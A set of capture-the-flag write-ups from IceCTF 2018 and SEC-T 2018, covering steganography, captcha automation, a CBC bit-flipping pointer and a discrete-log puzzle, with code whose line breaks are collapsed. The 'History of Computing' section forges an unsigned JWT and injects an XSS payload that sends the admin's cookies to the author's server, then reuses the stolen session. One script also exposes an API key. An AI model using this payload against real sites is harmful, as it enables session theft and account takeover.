outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:
Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```
**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.
Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:
This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:
**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)
```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> 聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
<div id="footer"> </div> </body></html>
```
We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us
**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag
We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/
**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:
The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:
We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?
**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaðu á að brjóta 5 egg og setja svo 3 matskeiðar af skyri í skál. Hrærið> svo 9 desilítra af hveiti út í ásamt 3 desilítrum af mjólk. Svo skal setja 7> teskeiðar af lyftidufti og 2 teskeiðar af vanilludropum áður enn það eru sett> 9 grömm af smjöri í skálina.>> Hrærið þessu rækilega saman og setjið svo út á pönnu.>> Alveg eins og amma gerði þða
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
# Into The Darkness
Detailed explanation coming soon I hope :P
Exploit script for this challenge: [exploit.py](exploit.py) If you want to know CBC Bit Flipping attack, read about it here: https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/
Similar Challenges:1. CTFZone CTF Quals 2018: [USSH-3.0](https://masterpessimistaa.wordpress.com/2018/07/23/exploiting-cookie-auth-mechanism-ctfzone-ussh-3-0-write-up/)2. ACEBEAR CTF 2018: [CNVService](https://masterpessimistaa.wordpress.com/2018/01/31/cnvservice-acebear-ctf-2018-writeup/)
tl;dr chained CBC Bit Flipping Attack |
# ▼▼▼History of Computing(Web4、350pts)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
## 【Understanding of functions】
・When logging in, `JWT (JSON Web Token)` is issued
・Where the comment can be written, `<> etc. are escaped`
・You can send a report of the comment to the administrator
・When submitting report, contributor name and contents are displayed
・Cookie(session and token) does not have `httponly`
---
session=eyJ1c2VyIjozfQ.DnuhnQ.xjjJBEywXImEpKXjJ37Wvxh9SPM
↓
・{"user":3}
・The random value at the back seems to be a signature for tampering prevention
↓
`{"user": 1}` is likely to be admin
---
Decode `token` by Base64
↓
{"typ":"JWT","alg":"none}.{"username":"kazkiti'or''='","flag":"IceCTF{hope you don't think this is a real flag}"}.;
↓
・"flag" is a false flag
・ `"alg":"none"`, it is JWT without signature. even if I change and send it, it will be accepted(Tamperable)
---
## 【Identify the vulnerability】
### 【Try1: Brute force of secret key of session parameter】
I bruteforce about 30 minutes, but the secret key did not hit...
---
### 【Try2: Tamper the name of token, XSS by sending report】
Tampering as below and encoded with base64
↓
{"typ":"JWT","alg":"none"} ⇒ eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
{"username":"<>","flag":"tes"} ⇒ eyJ1c2VybmFtZSI6Ijw+IiwiZmxhZyI6InRlcyJ9
↓
token= `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6Ijw+IiwiZmxhZyI6InRlcyJ9.`
↓ send report
```GET /report/d2179646ad3710c23f73b72c6fdb66 HTTP/1.1Host: enf5svgjhw5lsm7-history.labs.icec.tfCookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6Ijw+IiwiZmxhZyI6InRlcyJ9.;session=eyJ1c2VyIjozfQ.DnuhnQ.xjjJBEywXImEpKXjJ37Wvxh9SPM```
↓
username is not escaped! **XSS** possible
---
## 【Confirm XSS filter】
<script>alert(1)</script>is `HACKER ALERT!!!!1`
<svg onload=alert(1)> is `HACKER ALERT!!!!1`
<img onerror=alert(1)></img> is `OK`
---
## 【Identify the administrator's browser】
``
↓
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) `PhantomJS/2.1.1` Safari/538.1
↓
It is `PhantomJS`
---
## 【exploit】
`location='//my_server/?token='+document.cookie`
↓ Use numeric character reference (or escape it with `\"`and insert it into jwt)
`location='//my_server/?token='+document.cookie`
↓ Insert the above into the onerror of the img tag
``
↓ Insert in jwt
{"username":"``","flag":"tes"}
↓ encode by base64
`eyJ1c2VybmFtZSI6IjxpbWcgb25lcnJvcj0iJiN4NmMmI3g2ZiYjeDYzJiN4NjEmI3g3NCYjeDY5JiN4NmYmI3g2ZSYjeDNkJiN4MjcmI3gyZiYjeDJmJiN4NmQmI3g3OSYjeDVmJiN4NzMmI3g2NSYjeDcyJiN4NzYmI3g2NSYjeDcyJiN4MmYmI3gzZiYjeDc0JiN4NmYmI3g2YiYjeDY1JiN4NmUmI3gzZCYjeDI3JiN4MmImI3g2NCYjeDZmJiN4NjMmI3g3NSYjeDZkJiN4NjUmI3g2ZSYjeDc0JiN4MmUmI3g2MyYjeDZmJiN4NmYmI3g2YiYjeDY5JiN4NjUiPjwvaW1nPgoiLCJmbGFnIjoidGVzIn0=`
↓ report send
GET /report/d2179646ad3710c23f73b72c6fdb66 HTTP/1.1Host: enf5svgjhw5lsm7-history.labs.icec.tfCookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.`eyJ1c2VybmFtZSI6IjxpbWcgb25lcnJvcj0iJiN4NmMmI3g2ZiYjeDYzJiN4NjEmI3g3NCYjeDY5JiN4NmYmI3g2ZSYjeDNkJiN4MjcmI3gyZiYjeDJmJiN4NmQmI3g3OSYjeDVmJiN4NzMmI3g2NSYjeDcyJiN4NzYmI3g2NSYjeDcyJiN4MmYmI3gzZiYjeDc0JiN4NmYmI3g2YiYjeDY1JiN4NmUmI3gzZCYjeDI3JiN4MmImI3g2NCYjeDZmJiN4NjMmI3g3NSYjeDZkJiN4NjUmI3g2ZSYjeDc0JiN4MmUmI3g2MyYjeDZmJiN4NmYmI3g2YiYjeDY5JiN4NjUiPjwvaW1nPgoiLCJmbGFnIjoidGVzIn0.`; session=eyJ1c2VyIjozfQ.DnuhnQ.xjjJBEywXImEpKXjJ37Wvxh9SPM
↓ Access to my_server came
```35.237.124.125 - - [13/Sep/2018:08:57:22 +0000] "GET /?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.;%20session=eyJ1c2VyIjoxfQ.Dnu38g.uaXk39jmrGGRtOSqu_14-T7_hPs HTTP/1.1" 200 3```
↓ Confirm token
`token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.`
↓ decode by base64
{"typ":"JWT","alg":"none"}.{"username":"admin","flag":"IceCTF{hope you don't think this is a real flag}"}.
↓
This is fake flag too...
---
Login as admin
↓
```GET / HTTP/1.1Host: enf5svgjhw5lsm7-history.labs.icec.tfCookie: session=eyJ1c2VyIjoxfQ.Dnu38g.uaXk39jmrGGRtOSqu_14-T7_hPs;```
↓
```
<html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link type="text/css" rel="stylesheet" href="/static/css/materialize.min.css" media="screen,projection"/> <link type="text/css" rel="stylesheet" href="/static/css/main.css" media="screen,projection"/> <link type="text/css" rel="stylesheet" href="/static/css/style.css" media="screen,projection"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/> </head> <body>
<nav> <div class="nav-wrapper white"> <div class="container"> History of Computing admin Logout </div> </div> </nav>
<div class="ribbon pink"></div><div class="container"> <div class="flag center blue white-text"> IceCTF{who_trusts_these_cookies_anyway?} </div> <div class="row post"> <div class="col s12"> <div class="card"> <div class="card-image"> <span>The First Compiler</span> </div> comment <div class="card-content"> <h5>IceCTF Worked on The First Compiler</h5> It's not very commonly known, but the IceCTF actually worked on the first compiler with the famous Grace Hopper The IceCTF team is responsible for a lot of the early achievements in the Computer Science field, not just the first compiler. Duis turpis nisl, accumsan ut pulvinar sit amet, vestibulum id justo. Nunc laoreet urna ut augue pellentesque, non tempus orci maximus. Aenean eget aliquet enim. Sed purus ligula, gravida nec lorem in, vulputate lobortis tortor. Sed blandit rutrum malesuada. Aenean feugiat lectus sit amet lacus dictum sagittis. Nunc interdum justo a felis venenatis molestie. Etiam lacinia mi vitae eros tempus pharetra. Cras a malesuada ex. Vivamus vel est laoreet, facilisis dolor in, porttitor est. Suspendisse in pulvinar ex. </div> </div> </div> </div> </div>
It's not very commonly known, but the IceCTF actually worked on the first compiler with the famous Grace Hopper
The IceCTF team is responsible for a lot of the early achievements in the Computer Science field, not just the first compiler. Duis turpis nisl, accumsan ut pulvinar sit amet, vestibulum id justo. Nunc laoreet urna ut augue pellentesque, non tempus orci maximus. Aenean eget aliquet enim.
Sed purus ligula, gravida nec lorem in, vulputate lobortis tortor. Sed blandit rutrum malesuada. Aenean feugiat lectus sit amet lacus dictum sagittis. Nunc interdum justo a felis venenatis molestie. Etiam lacinia mi vitae eros tempus pharetra. Cras a malesuada ex. Vivamus vel est laoreet, facilisis dolor in, porttitor est. Suspendisse in pulvinar ex.
<div class="ribbon cyan"></div><div class="container"> <div class="row"> <div class="col s12"> <div class="card"> <div class="card-image"> <span>The ENIAC!</span> </div> comment <div class="card-content"> <h5>The IceCTF Team Created The ENIAC!</h5> Along with the first compiler, the IceCTF also work on creating the very first computer. The ENIAC! There's no suprise that the brilliant minds that made one of the most successful hacking competitions in 2018 also were involved with creating what is today known as "the first computer". Although the IceCTF team was not happy with how history decided to name their machine. They opted for the more hip name "puter". Sed purus ligula, gravida nec lorem in, vulputate lobortis tortor. Sed blandit rutrum malesuada. Aenean feugiat lectus sit amet lacus dictum sagittis. Nunc interdum justo a felis venenatis molestie. Etiam lacinia mi vitae eros tempus pharetra. Cras a malesuada ex. Vivamus vel est laoreet, facilisis dolor in, porttitor est. Suspendisse in pulvinar ex. </div> </div> </div> </div> </div>
Along with the first compiler, the IceCTF also work on creating the very first computer. The ENIAC!
There's no suprise that the brilliant minds that made one of the most successful hacking competitions in 2018 also were involved with creating what is today known as "the first computer". Although the IceCTF team was not happy with how history decided to name their machine. They opted for the more hip name "puter".
Sed purus ligula, gravida nec lorem in, vulputate lobortis tortor. Sed blandit rutrum malesuada. Aenean feugiat lectus sit amet lacus dictum sagittis. Nunc interdum justo a felis venenatis molestie. Etiam lacinia mi vitae eros tempus pharetra. Cras a malesuada ex. Vivamus vel est laoreet, facilisis dolor in, porttitor est. Suspendisse in pulvinar ex.
<footer class="page-footer grey darken-3"> <div class="container"> <div class="row"> <div class="col l6 s12"> <h5 class="white-text">About Me</h5> I like blogging about images. I hope you join me on my journey of exploring the world with me! </div> </div> </div> <div class="footer-copyright"> <div class="container"> Made with Materialize </div> </div></footer>
I like blogging about images. I hope you join me on my journey of exploring the world with me!
<div id="comment-modal" class="modal"> <nav class="cyan"> <div class="nav-wrapper"> <div class="left col s12 m5 l5"> keyboard_backspace Comment </div> <div class="col s12 m7 l7 hide-on-med-and-down"> send </div>
</div> </nav> <div class="modal-content"> <form id="comment-form" action="/comment" method="post"> <div class="input-field"> <textarea id="comment" class="materialize-textarea" length="500"></textarea> <label for="comment">Comment</label> </div> <input type="hidden" name="postId" id="postId" value="2"> </form> </div></div></div>
<script type="text/javascript" src="https://code.jquery.com/jquery-2.1.1.min.js"></script> <script type="text/javascript" src="/static/js/materialize.min.js"></script> <script type="text/javascript" src="/static/js/init.js"></script> <script type="text/javascript" src="/static/js/main.js"></script> </body> </html>```
↓
`IceCTF{who_trusts_these_cookies_anyway?}` |
//Solution to Marty0sk1 (type: Cryptography) , in the SEC-T CTF 2018
Category: CryptoChallenge Points: 51Solves: 60+----------------------------------------------------------------------------------------------------
Service: nc crypto.sect.ctf.rocks 2222
As soon as you connect to the service through your terminal,you are given three numbers: p, g, and g^x. They demand x saying:
'Gimme exponent pl0x'p=12248847.....g=2g^x=56359320624......:(you have to enter x here)
//the value of g^x keeps changing everytime you reconnect to the service
Now as the hint to the problem read 'discrete logarithms are hard', we guess this is a DLP(Discrete logarithm problem).
The discrete logarithm problem is to find the Exponent in the expression:Base^Exponent = Power (mod Modulus)
Here, our Base is g (here 2), Modulus is p, and Power is g^x value.
You could find x manually (xD) or just use any online DLP Calculator. Eg: https://www.alpertron.com.ar/DILOG.HTM(Tip: if you get a value like 3360 + 3930 k, we just take the value before the '+' eg. here we would take 3360)
Here the Pohlig-Hellman algorithm is implemented.
Once you get the value of x, you enter it. And boom!Here's your flag:SECT{Ru$$ian_D0LLZ_h0lDs_TH3_S3cR3T}
Yes, Matryoshka the Russian Doll.
|
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